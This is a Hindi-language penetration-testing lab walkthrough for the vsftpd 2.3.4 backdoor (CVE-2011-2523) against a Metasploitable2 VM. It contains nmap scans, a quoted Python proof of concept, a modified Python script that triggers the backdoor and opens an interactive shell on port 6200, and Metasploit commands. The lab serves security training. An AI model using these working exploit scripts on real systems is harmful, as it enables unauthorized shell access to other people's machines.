
vsftpd 2.3.4 बैकडोर (CVE-2011-2523) के लिए मैनुअल और स्वचालित शोषण वॉकथ्रू, कस्टम रिवर्स शेल पेलोड और पेनिट्रेशन टेस्टिंग प्रशिक्षण के लिए Metasploit एकीकरण के साथ।
ये एक नियंत्रित वातावरण में आक्रमण पद्धति बनाने के लिए नोट्स हैं। यह मान लिया गया है कि अभ्यास ब्लैक बॉक्स (caja negra) है, इसलिए मुझे लक्ष्य प्रणाली की जानकारी नहीं है।
1- आवश्यक ISO डाउनलोड करें, दोनों मेटाएक्सप्लोयटेबल2 और काली या कोई अन्य। 2- महत्वपूर्ण: वातावरण vmware पर कॉन्फ़िगर किया गया है, इसलिए दोनों मशीनों को इस हाइपरवाइज़र पर चलाया जाना चाहिए। 3- प्रारंभिक प्रक्रिया: दोनों सिरों के बीच कनेक्शन की जाँच करने के लिए ip चलाएँ। 4- nmap -sV -Pn 192.168.253.128 का उपयोग करें, एक बार जब हम पहचान कर लेते हैं तो हमें कई पोर्ट मिलते हैं 21 ftp vsftpd 2.3.4
प्रशिक्षण के भाग के रूप में, प्रत्येक पोर्ट पर कई तरीकों से पहुँच प्राप्त करने के लिए हमला किया जाना है। हम निम्नलिखित पोर्ट से शुरू करते हैं। यथासंभव वास्तविक स्थितियों को हल करने या अनुकरण करने के लिए ब्लैक बॉक्स की स्थिति बनाने का प्रयास किया जाएगा।
पोर्ट 21 FTP का शोषण
nmap -Pn -sV 10.0.2.5 के उपयोग से शुरू किया जाता है। हम सार्वजनिक डेटाबेस में खोजते हैं और CVE-2011-2523 पाते हैं जो एक बैकडोर है और हम लक्ष्य मशीन तक पहुँच प्राप्त करने के लिए इसका शोषण करने का प्रयास करेंगे।
पहले हमें यह समझना होगा कि इस विशेष मामले में किए जाने वाले शोषण में एक बैकडोर है। मौजूदा कमजोरी के माध्यम से इस सिस्टम को भेदने का तरीका खोजने का प्रयास करते समय, packetstorm.news पर जानकारी मिलती है, एक POC प्रस्तुत किया जाता है जो साबित करता है कि इसका शोषण किया जा सकता है लेकिन यह पूरी तरह से कार्यात्मक नहीं है जैसा कि निम्नलिखित कोड में देखा गया है:
#!/usr/bin/python3
from telnetlib import Telnet import argparse from signal import signal, SIGINT from sys import exit
def handler(signal_received, frame): # Handle any cleanup here print(' [+]Exiting...') exit(0)
signal(SIGINT, handler)
parser=argparse.ArgumentParser()
parser.add_argument("host", help="input the address of the vulnerable host", type=str)
args = parser.parse_args()
host = args.host
portFTP = 21 #if necessary edit this line
user="USER nergal:)" password="PASS pass"
tn=Telnet(host, portFTP) tn.read_until(b"(vsFTPd 2.3.4)") #if necessary, edit this line tn.write(user.encode('ascii') + b"\n") tn.read_until(b"password.") #if necessary, edit this line tn.write(password.encode('ascii') + b"\n")
tn2=Telnet(host, 6200)
print('Success, shell opened')
print('Send exit to quit shell')
tn2.interact()
जिसे पढ़ने पर यह समझा जा सकता है कि इसका उद्देश्य यह साबित करना है कि यह किया जा सकता है, न कि इसे एक कार्यात्मक स्क्रिप्ट बनाना। इसलिए अधिक यथार्थवादी अभ्यास के लिए, मैंने एक महत्वपूर्ण संशोधन किया ताकि इसमें एक रिवर्स शेल हो जो कोड के निष्पादन के क्षण से अधिक उपयुक्त पहुँच प्रदान करे। कोड के संशोधन से निम्नलिखित परिणाम प्राप्त हुआ: #!/usr/bin/env python3
import socket import sys import time
def connect_ftp(host, port=21): try: s = socket.socket() s.connect((host, port)) banner = s.recv(1024).decode(errors='ignore') print(f"[+] FTP Banner: {banner.strip()}")
# Enviar payload del backdoor
s.sendall(b'USER backdoor:)\r\n')
time.sleep(0.5)
s.sendall(b'PASS whatever\r\n')
time.sleep(0.5)
s.close()
return True
except Exception as e:
print(f"[!] Error conectando al FTP: {e}")
return False
def connect_backdoor_shell(host, port=6200): try: print(f"[+] Intentando conectar con la shell backdoor en {host}:{port}...") shell = socket.socket() shell.settimeout(3) shell.connect((host, port)) print("[+] ¡Shell obtenida!")
while True:
cmd = input("shell> ")
if cmd.strip().lower() == "exit":
break
shell.sendall((cmd + "\n").encode())
# Lee todos los datos disponibles hasta timeout
output = b""
while True:
try:
chunk = shell.recv(4096)
if not chunk:
break
output += chunk
# Espera un poco para ver si hay más datos
time.sleep(0.1)
except socket.timeout:
break
if output:
print(output.decode(errors='ignore'))
else:
print("[!] Sin respuesta del shell.")
shell.close()
except Exception as e:
print(f"[!] Falló al conectar con la shell: {e}")
if name == "main": if len(sys.argv) != 2: print(f"Uso: {sys.argv[0]} ") sys.exit(1)
target_ip = sys.argv[1]
if connect_ftp(target_ip):
time.sleep(1) # Da tiempo al backdoor para abrir el puerto
connect_backdoor_shell(target_ip)
else:
print("[!] No se pudo conectar o el objetivo no parece vulnerable.")
उपरोक्त से यह समझा जा सकता है कि यह इस उदाहरण का सामना करने का एक मैन्युअल तरीका हो सकता है, लेकिन इसका उद्देश्य कंप्यूटर सुरक्षा के वातावरण में बढ़ने और कौशल में सुधार करने के लिए विभिन्न विकल्प बनाना है।
दूसरा तरीका जिसका उपयोग किया जा सकता है वह है मेटास्प्लॉइट का उपयोग निम्नलिखित प्रकार से: msfconsole use exploit/unix/ftp/vsftpd_234_backdoor set RHOSTS 10.0.2.5 run जैसा कि समझा जाता है, दोनों बिल्कुल वही करते हैं, केवल एक पहले से स्वचालित है और दूसरा अधिक मैन्युअल प्रक्रिया है।